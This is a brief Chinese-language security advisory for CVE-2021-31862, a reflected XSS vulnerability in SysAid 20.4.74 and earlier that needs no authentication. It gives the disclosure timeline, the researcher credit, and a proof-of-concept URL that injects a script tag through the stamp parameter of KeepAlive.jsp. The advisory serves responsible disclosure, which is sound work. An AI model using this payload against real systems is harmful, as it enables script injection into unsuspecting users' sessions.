CVE-2021-31862

SysAid 20.4.74 允许在无需认证的情况下，通过 KeepAlive.jsp 参数实现反射型 XSS。

时间线

• 发现时间：2021 年 4 月 28 日
• 首次联系厂商：2021 年 4 月 28 日
• 报告时间：2021 年 4 月 28 日
• CVE ID 发布：2021 年 4 月 28 日
• 再次联系厂商（厂商未回复首次联系）：2021 年 5 月 28 日
• 公开披露：2021 年 10 月 29 日

受影响版本

20.4.74 及更早版本

致谢

Citadel Cyber Security (https://www.citadel.co.il/)

POC 漏洞利用

以下 URL 路径及查询参数将触发 XSS 漏洞：

/KeepAlive.jsp?stamp=<script>alert(1)</script>&tabID=10&lastClick=1618311643298